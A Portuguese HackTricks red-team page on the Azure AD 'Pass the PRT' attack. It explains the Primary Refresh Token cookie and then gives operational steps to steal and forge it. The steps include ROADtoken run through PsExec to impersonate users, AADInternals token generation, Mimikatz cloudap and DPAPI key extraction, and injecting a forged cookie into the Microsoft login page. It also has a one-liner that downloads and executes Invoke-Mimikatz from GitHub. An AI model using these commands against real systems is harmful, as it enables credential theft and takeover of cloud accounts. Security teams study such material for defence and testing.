Az - Pass the PRT
Reading time: 11 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
O que é um PRT
Az - Primary Refresh Token (PRT)
Verifique se você tem um PRT
Dsregcmd.exe /status
Na seção Estado do SSO, você deve ver o AzureAdPrt
definido como SIM.
.png)
Na mesma saída, você também pode ver se o dispositivo está associado ao Azure (no campo AzureAdJoined
):
.png)
Cookie PRT
O cookie PRT é na verdade chamado de x-ms-RefreshTokenCredential
e é um Token Web JSON (JWT). Um JWT contém 3 partes, o cabeçalho, carga útil e assinatura, divididos por um .
e todos codificados em base64 seguros para URL. Um cookie PRT típico contém o seguinte cabeçalho e corpo:
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
O Primary Refresh Token (PRT) real está encapsulado dentro do refresh_token
, que é criptografado por uma chave sob o controle do Azure AD, tornando seu conteúdo opaco e indecifrável para nós. O campo is_primary
indica a encapsulação do token de atualização primário dentro deste token. Para garantir que o cookie permaneça vinculado à sessão de login específica para a qual foi destinado, o request_nonce
é transmitido da página logon.microsoftonline.com
.
Fluxo do Cookie PRT usando TPM
O processo LSASS enviará ao TPM o KDF context, e o TPM usará a session key (coletada quando o dispositivo foi registrado no AzureAD e armazenada no TPM) e o contexto anterior para derivar uma key, e essa derived key é usada para assinar o cookie PRT (JWT).
O KDF context é um nonce do AzureAD e o PRT criando um JWT misturado com um contexto (bytes aleatórios).
Portanto, mesmo que o PRT não possa ser extraído porque está localizado dentro do TPM, é possível abusar do LSASS para solicitar chaves derivadas de novos contextos e usar as chaves geradas para assinar Cookies.
.png)
Cenários de Abuso do PRT
Como um usuário regular, é possível solicitar o uso do PRT pedindo ao LSASS dados de SSO.
Isso pode ser feito como aplicativos nativos que solicitam tokens do Web Account Manager (intermediário de tokens). O WAM passa a solicitação para o LSASS, que pede tokens usando a asserção PRT assinada. Ou pode ser feito com fluxos baseados em navegador (web) onde um cookie PRT é usado como cabeçalho para autenticar solicitações às páginas de login do Azure AS.
Como SYSTEM, você poderia roubar o PRT se não estiver protegido pelo TPM ou interagir com as chaves PRT no LSASS usando APIs criptográficas.
Exemplos de Ataque Pass-the-PRT
Ataque - ROADtoken
Para mais informações sobre essa abordagem ver este post. O ROADtoken executará BrowserCore.exe
do diretório correto e usará isso para obter um cookie PRT. Este cookie pode então ser usado com ROADtools para autenticar e obter um token de atualização persistente.
Para gerar um cookie PRT válido, a primeira coisa que você precisa é de um nonce.
Você pode obter isso com:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
Ou usando roadrecon:
roadrecon auth prt-init
Então você pode usar roadtoken para obter um novo PRT (execute a ferramenta a partir de um processo do usuário a ser atacado):
.\ROADtoken.exe <nonce>
Como uma linha:
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
Então você pode usar o cookie gerado para gerar tokens para fazer login usando Azure AD Graph ou Microsoft Graph:
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Ataque - Usando roadrecon
Ataque - Usando AADInternals e um PRT vazado
Get-AADIntUserPRTToken
obtém o token PRT do usuário do computador associado ao Azure AD ou associado de forma híbrida. Usa BrowserCore.exe
para obter o token PRT.
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Ou se você tiver os valores do Mimikatz, você também pode usar AADInternals para gerar um token:
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser
# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
Vá para https://login.microsoftonline.com, limpe todos os cookies para login.microsoftonline.com e insira um novo cookie.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
Então vá para https://portal.azure.com
caution
O restante deve ser os padrões. Certifique-se de que você pode atualizar a página e o cookie não desaparece, se isso acontecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
Ataque - Mimikatz
Passos
- O PRT (Primary Refresh Token) é extraído do LSASS (Local Security Authority Subsystem Service) e armazenado para uso posterior.
- A Chave de Sessão é extraída em seguida. Dado que essa chave é inicialmente emitida e depois recriptografada pelo dispositivo local, é necessário descriptografá-la usando uma chave mestra DPAPI. Informações detalhadas sobre DPAPI (Data Protection API) podem ser encontradas nesses recursos: HackTricks e para entender sua aplicação, consulte Pass-the-cookie attack.
- Após a descriptografia da Chave de Sessão, a chave derivada e o contexto para o PRT são obtidos. Estes são cruciais para a criação do cookie PRT. Especificamente, a chave derivada é utilizada para assinar o JWT (JSON Web Token) que constitui o cookie. Uma explicação abrangente desse processo foi fornecida por Dirk-jan, acessível aqui.
caution
Note que se o PRT estiver dentro do TPM e não dentro do lsass
, mimikatz não conseguirá extraí-lo.
No entanto, será possível obter uma chave de uma chave derivada de um contexto do TPM e usá-la para assinar um cookie (ver opção 3).
Você pode encontrar uma explicação detalhada do processo realizado para extrair esses detalhes aqui: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
warning
Isso não funcionará exatamente após as correções de agosto de 2021 para obter tokens PRT de outros usuários, pois apenas o usuário pode obter seu PRT (um administrador local não pode acessar os PRTs de outros usuários), mas pode acessar o seu.
Você pode usar mimikatz para extrair o PRT:
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
.png)
Copie a parte rotulada como Prt e salve-a.
Extraia também a chave da sessão (o KeyValue
do campo ProofOfPossesionKey
) que você pode ver destacado abaixo. Isso está criptografado e precisaremos usar nossas chaves mestras do DPAPI para descriptografá-lo.
.png)
note
Se você não ver nenhum dado de PRT, pode ser que você não tenha nenhum PRT porque seu dispositivo não está associado ao Azure AD ou pode ser que você esteja executando uma versão antiga do Windows 10.
Para descriptografar a chave da sessão, você precisa elevar seus privilégios para SYSTEM para executar sob o contexto do computador e poder usar a chave mestra do DPAPI para descriptografá-la. Você pode usar os seguintes comandos para fazer isso:
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
.png)
Opção 1 - Mimikatz Completo
- Agora você quer copiar tanto o valor do Contexto:
.png)
- Quanto o valor da chave derivada:
.png)
- Finalmente, você pode usar todas essas informações para gerar cookies PRT:
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
.png)
- Vá para https://login.microsoftonline.com, limpe todos os cookies para login.microsoftonline.com e insira um novo cookie.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
- Em seguida, vá para https://portal.azure.com
caution
O restante deve ser o padrão. Certifique-se de que você pode atualizar a página e o cookie não desaparece; se desaparecer, você pode ter cometido um erro e terá que passar pelo processo novamente. Se não desaparecer, você deve estar bem.
Opção 2 - roadrecon usando PRT
- Renove o PRT primeiro, que será salvo em
roadtx.prt
:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- Agora podemos solicitar tokens usando o navegador interativo com
roadtx browserprtauth
. Se usarmos o comandoroadtx describe
, vemos que o token de acesso inclui uma reivindicação de MFA porque o PRT que usei neste caso também tinha uma reivindicação de MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
Opção 3 - roadrecon usando chaves derivadas
Tendo o contexto e a chave derivada despejada pelo mimikatz, é possível usar o roadrecon para gerar um novo cookie assinado com:
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
Referências
- https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/
- https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
- https://www.youtube.com/watch?v=x609c-MUZ_g
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.